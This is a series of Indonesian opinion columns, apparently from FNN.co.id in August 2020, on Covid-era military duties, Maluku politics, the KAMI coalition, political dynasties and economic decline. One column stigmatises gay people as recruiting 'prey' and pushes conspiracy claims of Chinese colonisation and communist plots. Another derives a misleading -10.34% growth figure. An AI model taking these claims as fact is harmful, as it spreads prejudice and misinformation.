by M. Rizal Fadillah Jakarta FNN - Senin (09/08). Sedih sekali melihat tentara kebanggaan rakyat negeri diberi bagian proyek corona. Tugas kepada TNI itu melalui Inpres Nomor 6 tahun 2020 tentang Peningkatan Kedisiplinan dan Penegakan Hukum Protokol Kesehatan dalam Pencegahan dan Pengendalian Covid 19. Fungsi TNI mengalami "pergeseran" dari yang ditentukan oleh UU Nomor 34 tahun 2004 tentang TNI. Dalam Inpres Nomor 6 tahun 2020, TNI bertugas melakukan pengawasan, patroli, dan pembinaan. Hal ini bertentangan dengan peran TNI menurut UU Nomor 34 tahun 2004 Pasal 5, yaitu "TNI berperan sebagai alat negara di bidang pertahanan yang dalam menjalankan tugasnya berdasarkan kebijakan dan keputusan politik negara". Bukan cawe-cawe ikut urus corona. Dalam Pasal 7 memang TNI berfungsi untuk membantu Pemerintah Daerah dan Polri (ayat 2 butir 9 dan10). Namun perlu difahami bahwa posisi dan fungsi TNI tersebut hanya bersifat membantu saja. Cuma diperbantukan saja. Bukan menjadi palaksana utama. Masalah covid 19 ternyata erat dengan proyek penganggaran yang "bebas hukum" sebagaimana dimaksud oleh Perppu Corona Nomor 1 tahun 2020 yang telah menjadi UU Corona Nomor 2 tahun 2020. Covid ini bisa jadi lahan basah di tengah musibah. Inilah yang dikhawatirkan rakyat. Kita semua tahu kalau Ketetapan MPR Nomor VI tahun 2000 memisahkan TNI dengan Polri. Polri telah berlari dengan kencang, karena difasilitasi dengan kebijakan politik pemerintah (bukan politik negara), sehingga Polri menempati banyak posisi dan jabatan strategis di luar tugas utama Polisi. Pengamat menyebut "multi fungsi Polri". Sementara TNI masih terbatas dan tetap fokus pada masalah-masalah "pertahanan". Dalam konteks ini Inpres Nomor 6 tahun 2020 yang memberi porsi besar pada TNI atau sekurangnya sama dengan Polri untuk melakukan pengawasan, patroli, dan pembinaan berkaitan covid 19 harus tetap diwaspadai. Jangan sampai dijadikan sebagai pembagian lahan untuk "optimalisasi" dana covid 19 yang "bebas hukum" tersebut. Kasian TNI-nya. Semoga saja TNI tidak masuk dalam "budget trap" akibat dari keterlibatan penanganan covid 19 sebagaimana diatur dalam Inpres Nomor 6 tahun 2000 tersebut. Terlalu "merendahkan" institusi, jika ternyata Kepala Staf TNI Angkatan Darat (KASAD) hanya menjadi wakil dari Erick Thohir. Disamping itu, ironi sekali, di tengah kebijakan pelonggaran Pembatasan Sosial Berskala Besar (PSBB). justru terbangun kesan "militerisasi". Pada sisi lain, persoalan penegakkan hukum atas pelanggaran protokol corona tersebut adalah kompetensi Pemerintah Daerah atau Polri. Bukan kompetensi TNI. Karena itu TNI tetap harus hati-hati dalam menjaga marwah dan kedudukannya sesuai dengan peraturan perundang-undangan yang berlaku, khususnya UU TNI. Jangan sampai muncul dugaan bahwa TNI sebenarnya sedang "dimanfaatkan" saja. Keterlibatan TNI aktif dalam peningkatan kedisiplinan dan penegakan hukum untuk terhadap pelaku pelanggaran protokol pandemi covid 19 sungguh sangat dipaksakan. Tidak pas. Ini bisa menjadi jebakan batmen buat TNI. Lagi-lagi kasian TNI, yang sekarang ini tidak punya cacat apapun di mata masyarakat Indonesia. TNI lagi bagus-bagusnya di hati rakyat. Jangan sampai dikotori dengan urusan remeh-temeh yang bukan tugas utama TNI. Penulis adalah Pemerhati Politik dan Kebijakan Publik.

Merayakan Politik Baku Sayang

by Hariman A. Pattianakotta Jakarta FNN – Senin (10/08). Sebuah idiom manis digulirkan oleh saudara saya Ikhsan Tualeka. Namanya "politik baku sayang". Idiom ini selaras dengan spirit hidup orang basudara. Sesama saudara memang sudah seyogianya saling mencintai. Kami orang Maluku menyebutnya baku sayang. Ketika disandingkan dengan politik, kata baku sayang lalu memberikan spirit yang mencerahkan politik. Membawa pulang politik yang pada hakikatnya, yaitu politik sebagai usaha bersama menghadirkan kebaikan bagi warga polis. Sejak era Yunani kuno, kita memahami politik sebagai tindakan partisipatif warga demi mewujudkan keadilan sebagai virtu atau kebajikan yang diidealkan dan diperjuangkan. Jurgen Habermas dalam konteks demokrasi modern membayangkan politik sebagai proses deliberasi. Demokrasi yang sehat terbangun melalui diskursus yang komunikatif di ruang publik. Proses komunikatif itu mesti bebas dari monopoli kekuasaan politik dan ekonomi. Hal ini tentu mensyaratkan adanya subjek-subjek politik atau warga negara yang tercerahkan. Apabila subjek politik telah tercerahkan, maka sudah barang tentu sikap politiknya akan dituntun oleh virtu. Duntuntun dengan kebajikan untuk menghadirkan bonum commune atau kebaikan bersama. Sampai di situ, seperti yang dikatakan oleh Jong Ambon Johanes Leimena, politik bukan alat kekuasaan, tetapi etika untuk melayani. Sesungguhnya hari ini, kita membutuhkan politik yang beretika. Politik yang dijiwai oleh spirit baku sayang. Bagi sebagian orang, hal ini mungkin akan dipandang sloganistik, utopis, dan tidak membumi. Sebab, nyatanya politik itu penuh intrik, sarat fitnah, diwarnai tindakan saling sikut demi syahwat kekuasaan. Realitas buram dunia politik itu tentu tak bisa kita tutupi. banyak politisi yang suka mengumbar janji di saat Pilkada atau Pemilu, tetapi setelah berkuasa menjadi amnesia. Bukan mengusahakan kesejahteraan bersama, tetapi membangun dinasti politik dan empire ekonomi keluarga dan golongan. Dan justru karena realitas buram itulah, kita membutuhkan etika dan spirit baku sayang dalam berpolitik. Politik baku sayang tentu tidak buta terhadap ketidakbenaran dan ketidakadilan. Sebab, kasih sayang itu selalu terarah pada tindakan memanusiakan manusia. Politik baku sayang justru tergerak oleh cinta untuk memutus tali-temali oligarki dengan kejernihan hati. Juga ketajaman pikiran. Politik baku sayang didorong oleh cinta untuk mengatakan kebenaran dengan kelembutan. Politik baku sayang tidak bermaksud membuat keseragaman. Namun hendak membangun ruang bagi perbedaan. Telinga sungguh-sungguh dipakai untuk mendengarkan. Yang penting di sini adalah kesaling-pengertian. Sekalipun berbeda, tetapi kita tetap saudara. Karena itu kita tetap baku sayang. Sampai di sini, tentu kita sangat memerlukan yang namanya kedewasaan. Hari ini saya melihat kedewasaan itu mulai menguncup dalam dinamika diskusi politik Forum Maluku Raya. Diskusi dengan perbedaan pendapat yang tajam tersebut berlangsung selama kurang lebih empat jam pada hari ini (Minggu, 9 Agustus 2020). Namun tetap dalam semangat dan spirit baku sayang yang tinggi dinatara sesama orang basudara. Diskudi ini dihadiri anak-anak Maluku lintas generasi. Ada cendekiawan, jurnalis, politisi, mantan pejabat sampai mahasiswa. Diskusi ini digagas sebagai respons atas realitas ketertinggalan dan ketidakadilan yang terjadi di Maluku Raya, Propinsi Maluku dan Maluku Utara. Hampir 75 tahun hidup mengindonesia. Tetapi Maluku tak kunjung sejahtera. Padahal, alamnya melimpah dengan kekayaan. Tentu saja, realitas ini menunjukkan bahwa ada yang salah dalam pengelolaan hidup bersama. Kesalahan itu ada di Maluku, dan Jakarta. Sentralisme pemerintahan dengan jargon NKRI harga mati adalah salah satu biang keroknya. Ditambah dengan tata kelola pemerintahan yang masih sarat dengan korupsi baik di pusat dan daerah. Hasilnya, rakyat Maluku pada khususnya terus sengsara. Karena itulah maka Forum Maluku Raya angkat bicara. Tentu, kita harus jujur berkata bahwa Forum ini belum mewakili semua anak Maluku dari Utara, Tenggara, Tengah sampai dengan Selatan tanah air Maluku. Apalagi anak Maluku sedunia. Namun, forum diskusif kemarin sungguh sangat menggembirakan. Berjam-jam katorang bisa bicara begiliran dan saling mendengarkan. Pandangan dan sikap politik juga masih sangat beragam. Bahkan, ada yang terlihat saling berlawanan. Namun, karena katong samua punya spirit untuk salang baku sayang, maka semua dapat dijalani dengan indah dan manis. Akhir yang manis ini menjadi awal yang menggembirakan. Kebenaran tentang keadilan dan keterbelakangan menjadi soal harus dikatakan dan diperjuangkan. Apalagi kalau dijalani dengan sikap yang elegan. Biarlah nurani dan kasih sayang yang berbicara, supaya harapan itu boleh berbuah kenyataan. Apa yang terjadi hari ini tidak lain adalah perayaan politik kasih sayang antar-anak Maluku. Toma dengan kasih sayang, wahai para kapitan-kapitan muda. Medan perjuangan telah terbuka menanti anda. Penulis adalah Pendeta dan Pemerhati Sosial Maluku.

KAMI Menghadapi KODOK

by Asyari Usman Jakarta FNN - Ahad (09/08). Ada KAMI, Koalisi Aksi Menyelamatkan Indonesia. Banyak yang gerah. Gelisah. Bermunculan reaksi yang sifatnya mengecilkan koalisi oposisi ini. Tapi, rakyat mendukung kehadirannya. Sebab, Koalisi tidak bertujuan untuk menggulingkan pemerintah. Melainkan sebagai wadah untuk menyiapkan langkah-langkah antisipatif untuk menghadapi situasi yang berat. Cara berpikir manusia KAMI bertolak belakang dengan cara berpikir dan bertindak para penguasa. Orang-orang Koalisi melihat kondisi yang ada sudah sangat parah. Compang-camping. Carut-marut. Baik itu kondisi ekonomi, sosial, maupun politik (ekosospol). Tapi, para penguasa merasa semua baik-baik saja. Kondisi ekonomi menyeramkan. Pertumbuhan negatif yang diprediksi tidak hanya bertengger di angka -2 atau -3. Bisa sampai -7 atau -8. Angka seperti ini mirip gempa 8 atau 9 skala Richter. Dengan episentrum darat di kedalaman hanya 5 km. Bisa dibayangkan kerusakan akibat gempat semisal ini. Celakanya lagi, prediksi pertumbuhan minus besar itu kemungkinan akan berlangsung lama. Runyamnya lagi, Indonesia masih harus menggeluti wabah Covid-19. Untuk saat ini, perkiraan puncak wabah itu sendiri menjadi ‘liar’. Ada yang mengatakan sudah lewat. Tapi, fakta yang ada menunjukkan pucak itu masih sedang didaki. Kondisi sosial juga mengerikan. Peredaran dan konsumsi narkoba boleh dikatakan stabil di angka-angka yang menakutkan. Tidak terjadi pengurangan. Berbagai sumber mengatakan bertambah parah. Ada indikasi perdagangan narkoba dijadikan peluang duit oleh begitu banyak oknum penegak hukum. Yang berposisi kuat melindungi para bandar. Yang berpangkat rendah ikut menjadi kurir atau ‘pedagang asongan’ bahan berbahaya itu. Moralitas juga semakin parah. Semakin sering terdengar pesta seks remaja. Tukar pasangan semakin disukai. Akhlak yang berbasis keagamaan dan kultur bangsa, memudar dari hari ke hari. Para penyandang amoral bertemu di titik “free for all” (bebas lepas). Saking parahnya kerusakan itu, orang-orang yang menolak hubungan sejenis dianggap sebagai musuh HAM. Dianggap anti-NKRI. Dianggap anti-sosial. Unbelievably upside-down! Terbalik-balik. Dan, jangan lupa, penyebaran gaya hidup sejenis itu berlangsung sangat masif tapi senyap. Mereka bergerak rapi. Merekrut mangsa secara sistematis. Komunitas mereka semakin besar. Misi mereka dibela oleh kalangan liberalis-sesatis. Dilindungi oleh para pemegang kekuasaan yang buta moral dan antimoral. Dalam kondisi yang sangat memprihatinkan itu pun, pihak yang berkuasa malah ikut ‘nimbrung’. Pelajaran agama Islam dan bahasa Arab dipangkas. Alasannya, untuk menekan radikalisme. Untuk menumbuhkan toleransi. Senseless policy. Reckless act. Inilah formula kehancuran yang sedang dijejalkan kepada rakyat. Kondisi politik sangat parah. Yang terparah di antara yang pernah parah. Penipuan elektoral yang berkedok demokrasi, merajalela. Meluas. Penipuan itu berlangsung di mana-mana, di semua level pemilihan umum. Di pilpers, pileg, dan pilkada. Para pemilik kuasa eksekutif dan kuasa uang bisa menentukan kemenangan perolehan suara. Lembaga-lembaga pelaksana pemilu bisa diatur sesuai keinginan mereka. Tentunya dengan imbalan besar. Kondisi politik yang centang-prenang juga terpancar dari perseteruan kesumat antara kelompok penipu versus rakyat garis lurus. Permusuhan itu kelihatannya akan berlangsung permanen berkat pemupukan yang dilakukan oleh para penguasa. Permusuhan itu tidak main-main. Banyak yang membayangkan bahwa Indonesia, sewaktu-waktu, bisa dilanda konflik horizontal. Ini semua disebabkan oleh kecerobohan segelintir orang yang rakus kuasa dan rakus duit. Ada lagi masalah lain. Satu kelompok politik yang merasa kuat bercita-cita untuk menghilangkan Pancasila menjadi satu sila saja. Itulah tujuan yang tertulis di AD/ART kelompok antiketuhanan itu. Mereka jelas-jelas tidak senang dengan sila Ketuhanan Yang Maha Esa. Banyak yang percaya gerakan ini mewakili tekad kaum komunis-PKI. Pantas diduga pula agenda domestik untuk mengubah Pancasila menjadi Ekasila alias Gotong Royong ditunggangi oleh kekuatan komunisme China. Kondisi politik yang parah ini tidak hanya berpotensi menimbulkan perkelahian internal. Tetapi juga terbuka bagi kekuatan eksternal yang ditengarai memiliki agenda jahat. Banyak pemerhati politik yang melihat RRC (China) telah menyiapkan ‘blue print’ untuk menjadikan Indonesia sebagai koloni mereka. Kolini dalam arti jamak. Analisis ini tidak berlebihan. Ada proses yang sangat relevan ke arah itu. Misalnya, pengistimewaan China dalam hal investasi proyek-proyek besar. Menjadikan China sebagai kreditur utama Indonesia. Yang membuat Indonesia hari ini tersandera utang budi ke Beijing. Posisi ini sangat rentan. China telah menunjukkan bahwa mereka “berhak” atas Indonesia. Mereka mendikte syarat proyek-proyek besar. Tenaga kerja mereka harus diterima di Indonesia. Di atas kondisi ekosospol yang berantakan ini, ada pula kondisi pertahanan-keamanan (hankam) yang sangat rawan jika harus menghadapi keangkuhan China. Banyak orang yang mencandakan kebenaran bahwa China, kalau mereka mau, bisa “membereskan” Indonesia dalam beberapa hari saja. Semua inilah yang membuat KAMI (Koalisi Aksi Menyelamatkan Indonesia) mendaklarasikan diri. Mereka melihat ada ancaman serius terhadap eksistensi Indonesia. Terhadap keutuhan NKRI. Tetapi, KAMI sendiri harus menghadapi kekuatan koalisi lain. Yaitu, Koalisi Orang Dungu Otak Kotor disingkat KODOK. Koalisi ini merasa tidak ada masalah dengan utang yang menumpuk. Tidak masalah proyek-proyek besar didikte oleh China. Tidak masalah naker China menyerbu Indonesia. KODOK merasa Indonesia baik-baik saja. Koalisi ini sangat kuat meskipun tanpa pikiran yang jernih. KODOK diramaikan oleh orang-orang yang berkuasa di semua lini. Sikap dan tabiat mereka dituntun oleh peluang untuk memperkaya diri. Plus, mereka memiliki kelebihan berupa ketotolan terbaik di dunia.[] Penulis adalah Wartawan Senior FNN.co.id.

“Politik Dinasti”

by Zainal Bintang Jakarta FNN- Ahad (09/08). Jagad politik di Indonesia saat ini kembali heboh di tengah kelamnya upaya mitigasi negara dari serangan wabah Covid 19. Menjelang pertarungan kontestasi pimpinan daerah dalam Pilkada pada Desember 2020 mendatang, isu “politik dinasti” atau “dinasti politik” kembali merebak dan memantik pro kontra di tengah masyarakat. Pilkada serentak 2020 bakal diikuti keluarga Presiden Jokowi. Gibran Rakabuming Raka (anak) di Solo dan Bobby Nasution (menantu) di Medan, Di Banten, putri Wakil Presiden KH.Ma’ruf Amin, Siti Nur Azisah akan maju sebagai calon walikota Tangerang Selatan dan Hanindito Himawan Pramana putra Sekretaris Kabinet Pramono Anung berkontestasi sebagai calon Bupati Kediri Timur. Tidak mau ketinggalan, keponakan Prabowo Subianto, Rahayu Saraswati Djojohadikusumo maju sebagai Calon Wali Kota Tangsel yang diusung PDI-P dan Partai Gerindra. Apa yang salah? Secara undang-undang tidak ada pasal yang dilanggar. Apalagi ada putusan Mahkamah Konstitusi (MK) menghapus pasal “dinasti politik” dalam UU No 8 Tahun 2015, pada Pasal 7 huruf (r) tentang Pilkada. Putusan MK itu bernomor 33/PUU-2015 tanggal 8 Juli 2015. Dengan adanya legalisasi “politik dinasti” oleh MK , mau tidak mau masyarakat terpaksa akan berpaling kepada legislator yang ada di Senayan. Sebagai salah satu komponen pembetuk Undang-Undang. Masyarakat berharap, lembaga DPR sejatinya sebagai salah satu komponen pembentuk Undang-Undang yang mengemban politik hukum, sebaiknya segera memperbaiki sistem pemilihan umum bagi pemegang kekuasaan di daerah. Membentengi celah penyimpangan, apapun itu, termasuk budaya “politik dinasti” melalui UU Pilkada yang ketat, sebagai political will untuk penyelenggaraanpilkada. Namun demikian, maukah yang terhormat anggota DPR tersebut melakukannya? Disinilah letak persoalnnya. Politik “lari berputar” berlaku. Kebanyakan calon kepala daerah, terlebih petahana adalah representasi parpol tertentu. Praktik “politik dinasti” yang menguntungkan partai tertentu, akan menolak mendorong kader mereka yang ada di legislatif untuk membumihanguskan “jalan tol dan karpet merah” menuju pelanggengan kekuasaan. Persoalannya tidak sekedar pada ketiadaan atau adanya bunyi pasal pada di regulasi yang harus diubah. Letaknya pada sikap mental yang berakar kepada cacat moralitas. Persoalannya ada pada rendahnya kualitas moralitas. Mengemukanya watak pragmatise, pemburu status sosial serta penggila kekuasaan. Inilah sumber dari segala sumber suburnya “politik dinasti”. Memburukkan proses demokratisasi yang terus menerus menjadi jargon politik menghipnotis masyarakat. Kualitas mentalitas yang rendah yang diidap masyarakat negara berkembang patut digugat. Mereka begitu gampang meninggalkan janji, bahkan sumpah yang diucapkannya. Bersembunyi dibalik pasal-pasal regulasi hasil kolusi antara penguasa dengan korporasi. Terkait dengan adanya indikasi kalangan elit politik yang sengaja merawat sikap dan mentalitas yang tidak terpuji, mengantar ingatan kepada apa yang pernah ditulis Gunnar Myrdal. Peraih nobel berkebangsaan Swedia itu menulis buku (1968) yang berjudul “Asian Drama” : An Inquiry Into The Poverty Of Nations (Sebuah Pertanyaan Menuju Kemiskinan Bangsa-Bangsa). Bukunya memaparkan hasil penelitiannya di Asia. Khususnya di India dan Indonesia. Kata “drama” sengaja dipakainya sebagai resultansi kecemasannya menyaksikan tendensi kepura-puraan yang disaksikannya terjadi negara negara Asia. Myrdal menyebut kedua negara tersebut sebagai “soft state” atau “negara lemah”. Ada juga yang menyebutnya “negara lunak”. Istilah “negara lunak” dilabelkan terhadap negara yang tidak memiliki tradisi administrasi. Karena itu mudah disantap oleh korupsi antara penguasa dengan korporasi, yang di Indonesia terkenal dengan sebutan “konglomerat”. Korupsi uang, korupsi hukum, dan korupsi politik. Dr. Ismi Rajiani MM pernah menulis analisis mengenai buku “Asian Drama” tahun 2013. Rajiani yang bergelar Doctor of Philosophy dalam Ilmu Manajemen, Fakultas Ekonomi, Universitas Brawijaya, Malang mengutip Myrdal, menulis begini, diantara ciri ciri negara lemah adalah: Pertama, golongan penguasa tidak menghormati, dan mentaati undang-undang. Sebaliknya, malah menggunakan kesempatan untuk mengeruk keuntungan sebesar besarnya demi kepentingan sendiri. Kedua, Semuanya diperdagangkan. Di Indonesia mulai dari sapi sampai keadilan. Ketiga, peraturan sengaja dilanggar untuk memperkaya golongan berkuasa dan berpangkat. Keempat, meluluskan undang-undang, tetapi non sense dalam pelaksanaannya. Kelima, pembayaran pajak dipermainkan, dan kalau bisa tidak perlu dibayar. Keenam, semua ngomong kalau dapat jabatan, ‘ini amanah”, tapi dalam prakteknya amanah untuk memperkaya diri. Ketujuh, “budi politik” ditabur atau dijual kepada siapa yang bisa mendukung menjadi kepala daerah, anggota DPR, lurah, dan lain lain. Singkatnya, kata Dosen Senior, Universitas Teknik Malaysia Melaka (UTeM), Fakultas Manajemen Teknologi dan Technopreneurship itu, ciri utama negara lemah (soft state) ialah merajalelanya korupsi, kerakusan, keangkuhan dan penyalahgunaan kekuasaan di kalangan eksekutif (kepala daerah, bupati, gubernur, menteri dan semua pembuat kebijakan), merebak ke kalangan legislatif (DPR). Akhirnya tidak mau kalah juga untuk berpartisipasi kalangan yudikatif (hakim dan jaksa). “Tangkapan besar terbaru KPK yang melibatkan eksekutif, legislatif dan yudikatif, menunjukkan pembuktian apa yang dikatakan oleh Mbah Gunnar Myrdal sejak puluhan tahun yang lalu masih tetap dipertahankan sampai sekarang ini”. Bagaimana Solusi Untuk Indonesia? Mungkin akan lebih banyak manfaatnya, jika elite politik bertekad membekali diri dan jiwa dengan semangat Idul Adha. Meneladani konsitensi Nabi Ibrahim atas komitmennya yang rela menyembelih putranya Ismail, yang kemudian tergantikan dengan domba, atas nama ketaatan tak bertepi kepada Tuhan. Ritual penyembelihan hewan adalah refleksi dan simbolisasi “upacara” penyembelihan sifat “kebinatangan” yang ada dalam diri manusia. Sikap teguh Ibrahim harus dibaca sebagai pancaran ketinggian kadar moralitas yang harus dimiliki seorang yang bernama pemimpin. Menyatunya satu kata dengan perbuatan. Saatnya elite politik bangsa segera membersihkan mentalitas praktik Machiavellisme yang menghamba pada nafsu “the end justifie the means” (tujuan menghalalkan segala cara). Hanya demi sepotong kekuasaan dunia yang tidak kekal. Praktik Machiavellisme dalam ukuran moral tertentu, sering lebih banyak dianalogikan sebagai “sifat kebinatangan” bagian tak terpisahkan dari nafsu kuasa yang liar. Selamat Hari Raya Idul Adha 1441 Hijriah. Mohon Maaf Lahir dan Batin. Penulis adalah Wartawan Senior dan Pemerhati Sosial Budaya.

Faktanya Pertumbuhan Ekonomi Terjun Bebas -10,34%

by M Rizal Fadillah Jakarta FNN – Ahad (09/08). Pertumbuhan ekonomi pada kuartal ke II ini diumumkan Presiden pada angka minus lima koma tiga puluh dua persen (-5,32%). Nah, tertunduk lesu Pak Presiden Jokowi yang awalnya pernah hingar-bingar mengkampanyekan pertumbuhan ekonomi Indonesia yang segera "meroket" di atas 7%. Pengumuman saat rapat terbatas Kabinet Indonesia Maju tersebut dinilai sebagai kegagalan dan frustrasi Pemerintah. Namun fakta yang sebenarnya pertumbuhan ekonomi Indonesia sejak Januari sampai dengan Agustus 2020 adalah minus sepuluh koma tiga puluh empat persen (-10,34%). Itu fakta yang sebenarnya. Begini perhitungannya. Pada akhir Desember 2019 seperti diberitakan CNBC Indonesia (05/02/2020), pertumbuhan ekonomi Indonesia masih berada di angka lima koma nol dua persen (+5,02). Walaupun demikian, ketika itu semua neraca yang menajadi indikator ekonomi Indonesia sudah bermasalah. Neraca transaksi berjalan merah. Juga neraca penerimaan terjun bebas. Neraca pembayaran bermasalah. Neraca perdagangan juga merah. Rilis Badan Pusat Statistik (BPS) soal pertumbuhan ekonomi Indonesia, tentu saja memukul Presiden dan jajaran kabinet. Pemerintah tidak bisa, bahkan gagal bertanggung jawab melindungi segenap bangsa dan tumpah ddarah Indonesia di bidang ekonomi. Menambah daftar pemerintah melakukan pelanggaran terhadap tujuan bernegara sesuai perintah konstitusi UUD 1945. Sebelumnya Presiden Jokowi nyata-nyata telah melanggar konstitusi dengan membuat Perppu Nomo 1 Tahun 2020 yang telah menjadi Undang-Undang Nomor 2 Tahun 2020, yang judulnya sangat panjang tersebut. Dalam membuat APBN selama tiga tahun ke depan, Presiden tidak perlu lagi melibatkan DPR yang memiliki hak budgeting. Presiden dalam membuat APBN, bisa sesuka hati saja. Jika Presiden Jokowi marah-marah lagi, maka itu tak lain adalah ia yang sedang memarahi dirinya sendiri. Rakyat juga sedang menanti waktu untuk memarahi Presiden yang tak becus mengurus negere ini. Presiden yang menggunakan fasilitas negara untuk memikirkan anaknya dan menantunya menjadi Walikota Solo dan Walikota Medan. Pandemi korona belom menunjukan tanda-tanda akan mereda atau berakhir. Sekarang saja sudah hampir 120.000 orang terpapar korona. Namun Presiden Jokowi perlu memaksakan pelaksanaan Pilkada pada Desember 2020 nanti. Pilkada yang hanya untuk menjadikan anaknya Gibran Rakabuming dan Bobby Nasution menjadi Walikota. Entah berapa ratusan ribu lagi rakyat Indonesia yang baka terjangkit korona, akibat dari berkumpulnya rakyat pada Pilkadana nanti. Rakyat dipastikan akan berkumpul dalam jumlah besar tempat kampanye dan tempat pemilihan. Belom lagi besarnya dana dikeluarkan negara untuk pelaksanaan Pilkada serentak. Menteri Keuangan Sri Mulyani di depan anggota DPR memprediksi pertumbuhan ekonomi di kuartal II ini adalah minus -3,5 hingga minus --5,1% dengan rentang tengah minus -4,3%. Nyatanya justru menjadi minus -5,32%. Rupanya ekonomi meroket yang dimaksudkan Jokowi adalah meroket ke bawah. Ekonomi Indonesia nyungsep itu meluncur tak tertahankan ke bawah. Terjun bebas. Bahkan diprediksi pada kuartal III dan IV nanti, ekonomi Indonesia masih terus minus. Akibat dari tata kelola pemerintahan yang ngawur, kacau-balau dan amburadul. Tidak sesuai prinsip-prinsip tata kelola pemerintahan yang baik dan benar. Negara mengalami resesi ekonomi bukan semata akibat pandemo korona. Tetapi sebelumnya juga pergerakan ekonomi sudah mengarah pada resesi. Pelambatan ekonomi menyebabkan banyak perusahaan tutup. Kenyataan ini berakibat pada terjadinya Pemutusan Hubungan Kerja (PHK) dimana-mana. Kondisi ini juga berakibat pada penurunan daya beli yangmasyarakat. Investasi banyak yang bermasalah, terutama di pasar keuangan dan asuransi, berdampak pada penurun nilai suatu portofolio atau aset seperti saham. Kasus seperti PT Asuransi Jiwasraya, Asabri, Bank BTN, Bank Bukopin, Bank Mayapada dan skandal Koperasi Indo Surya adalah bagian kecil dari bocroknya tata kelola indurtri keuangan Indonesia di bawah Presiden Jokowi. Kurs dollar yang tidak akan stabil, tentu berpengaruh pada neraca ekspor-impor. Tingkat suku bunga tinggi yang dapat meningkatkan inflasi. Sebagaimana kekhawatiran para pengamat ekonomi, bahwa pertumbuhan yang terus menurun dapat berujung pada depresi ekonomi, kini menjadi kenyataan. Kepercayaan masyarakat terhadap masa depan menjadi hilang. Tertunduk lesunya bapak Jokowi saat sidang kabinet terbatas untuk membahas pertumbuhan ekonomi kuartal II yang minus -5,32% ini jangan-jangan menjadi tanda-tanda depresi. Publik masih akan menunggu pidato kenegaraan pada 16 Agustus 2020 besok. Siap-siap saja untuk menilai "pertanggungjawaban" kenegaraan atas kondisi politik, ekonomi, hukum, dan lainnya. Resesi membuat depresikah? Jika rakyat telah melihat negara ini masuk fase depresi, maka tak ada harapan untuk masa depan. Pilihanpun untuk para penyelenggara negara kini hanya tinggal dua. Berbesar hati untuk mengakui tidak mampu dan gagal mengurus negara, sehingga mundur sendiri atau dimundurkan? Rakyat dan bangsa Indonesia tidak boleh tertekan dan putus asa akibat tata kelola negara yang ngawur, tidak becus dan amburadul. Tetapi harus terus hidup dan bergerak ke depan. Artinya, absolut harus berganti dengan suasana yang baru. Penulis adalah Pemerhati Politik dan Kebangsaan.

Makin Ngawur Soal Pilkada Gibran

by M. Rizal Fadillah Jakarta FNN – Sabtu (08/08). Sudah berbau nepotisme yang merusak tatanan ketatanegaraan, kini pendukung nampak percaya diri seolah Gibran-Teguh bakal menjadi calon tunggal Wali dan Wakil Walikota Surakarta. Hampir semua partai politik telah berhasil "ditaklukkan" oleh pengaruh ayahanda sang Presiden. Dugaan ini sangat beralasan. Keyakinan demikian menyebabkan munculnya gagasan atau usul agar Presiden Jokowi mengeluarkan Keppres soal Pilkada 2020 yang kontennya bahwa pasangan calon tunggal kepala daerah dan wakil kepala daerah di Pilkada 2020 ditetapkan saja secara langsung tanpa melalui pencoblosan. Tidak perlu hambur-hamburkan biaya lagi. Usul itu dikemukakan oleh BRM Kusumo Putro, inisiator Gerakan Relawan Rakyat untuk Kota Surakarta alias Garuda. Alasannya adalah adanya bahaya pandemi covid 19 serta untuk menghemat anggaran yang dapat dialihkan pada kebutuhan lain. Menurut pendukung Gibran-Teguh ini, Pilkada mendatang tidak menjamin terbebas dari munculnya klaster baru covid 19. "Saya juga menilai KPU Solo belum siap melaksanakan Pilkada dalam kondisi pandemi covid 19". Kusumo Putro menyebut bahwa belum ada sosialisasi tentang mekanisme dan tata cara pelaksanaan Pilkada Solo yang baik dan aman. Berkumpulnya masyarakat dalam jumlah besar pada hari pemilihan dan kempanye tidak dapat dihindarkan. Sesungguhnya soal alasan penghematan anggaran dan bahaya pandemi covid 19 cukup rasional. Hanya saja solusinya yang terlihat tak rasional. Proses pemilihan tetap dijalankan, tetapi tanpa pencoblosan. Aneh, semestinya jika bersikap konsisten, maka solusinya adalah penundaan Pilkada sampai pandemi reda. Bukan pemkasaan pelikada harus dipaksakan seperti sekarang. Usul agar pasangan calon tunggal untuk dapat dikeluarkan Keppres langsung ditetapkan sebagai kepala/wakil kepala daerah adalah usul yang, ngawur, lucu dan licik. Lucunya, bagaimana mungkin ada konsep "penetapan" pasangan kepala daerah tanpa ada pemilihan? Tanpa dilakukan pencoblosan. Liciknya, diduga kuat dasar usulan adalah kepentingan bahwa hanya akan ada satu pasangan saja yaitu Gibran-Teguh. Konfigurasi partai politik menunjukkan bahwa mayoritas partai mendukung atau mengusung pasangan putra Presiden Jokowi ini. Alasan ini juga merusak akal sehat dan tatanan demokrasi. Suasana yang "dipaksakan" harus terealisasi. Palaksanaan Pilkada pada bulan Desember 2020 pada situasi pandemi covid 19 ini dinilai sarat kepentingan. Seperti mnengejar jadwal tayang. Banyak keluarga atau kerabat dari pejabat negara yang maju untuk memperebutkan kursi Bupati atau Walikota. Akibatnya Pilkdada harus dipaksakan. Jika Pemerintah Pusat serius untuk mempertimbangkan aspek keamanan dan kesehatan. Bila pemerintah pusat berkeinginan untuk serius dan bersungguh-sungguh mencegah munculnya klaster baru covid 19, maka Pilkada 2020 sudah selayaknya ditunda. Pilkada secara akan sehat harus dimundurkan sampai pandemi covid 19 hilang. Kasus usulan Keppres "penetapan" tentu saja ngawur. Tidak beralasan hukum. Gibran yang digadang-gadang "harus" menjadi Walikota ternyata diperjuangkan dengan segala cara yang merusak demokrasi. Ini bagian dari politik nepotisme yaitu mendahulukan kekerabatan ketimbang kemampuan. "Nepos" itu artinya "cucu" atau "keponakan" yang menggambarkan keluarga dekat. Aspek kemampuan dikesampingkan. Aspek kapasitas dan kapabilitas tidak lagi diperlukan. Nepotisme secara hukum telah dilarang, dan harus diberantas. Bukan justru di "keppres" kan. Pilkada "Gibran" ini semakin ngawur saja. Pilkada yang hanya untuk memproduksi klaster baru penyebaran covid 19. Biaya yang dikelurkan untuk pengobatan penyebaran covid 19 juga semakin bertambah. Penulis adalah Pemerhati Politik dan Kebangsaan.

Indonesia Berhikmat Pada Maunya Oligarki (Bag. Pertama)

